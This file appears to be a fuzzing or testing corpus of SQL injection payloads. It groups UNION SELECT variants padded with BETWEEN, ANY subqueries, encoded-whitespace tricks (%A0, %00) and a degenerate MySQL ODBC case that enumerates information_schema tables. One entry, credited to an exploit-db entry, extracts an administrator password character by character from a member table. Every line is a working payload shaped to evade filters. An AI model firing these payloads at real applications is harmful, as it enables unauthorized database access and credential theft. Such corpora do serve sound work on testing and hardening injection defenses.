binary (binary(1)) UNION SELECT 2 --

#
# Padding using between operator
#
(1 between @version and "2") & 1 UNION SELECT 1
(1 between @version and @user) & 1 UNION SELECT 1
(1 between 1 and @version) & 1 UNION SELECT 1
(1 between '1' and @version) & 1 UNION SELECT 1
(1 between 1 and 2) & 1 UNION SELECT 1
(1 between '1' and '2') & 1 UNION SELECT 1
(1 between 1 and '2') & 1 UNION SELECT 1
(1 between '1' and 2) & 1 UNION SELECT 1
('1' between '1' and '2') & 1 UNION SELECT 1
(@version between '1' and '2') & 1 UNION SELECT 1
(@version between 1 and '2') & 1 UNION SELECT 1

#
# ANY and SOME subqueries
#
1 - ANY(SELECT 1,2)
ANY(SELECT 1) - 1 UNION ALL --
ANY(SELECT (1)) - 1 UNION ALL --
ANY((SELECT 1)) - 1 UNION ALL --
1 - ANY(SELECT 1) UNION ALL --

#
# embedded %A0 mysql
#
1%A0UNION%A0SELECT%A02--
1%00UNION%00SELECT%002--

#
# http://www.exploit-db.com/exploits/28854/
#
stringindatasetchoosen%25' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%25dministrator' and rownum<=1 and PASSWORD like '0%25') and '1%25'='1

#
# Thanks to @rsalgado
# A degenerate MySQL ODBC case
#
-{``.``.id} union select table_name FROM information_schema.tables LIMIT 1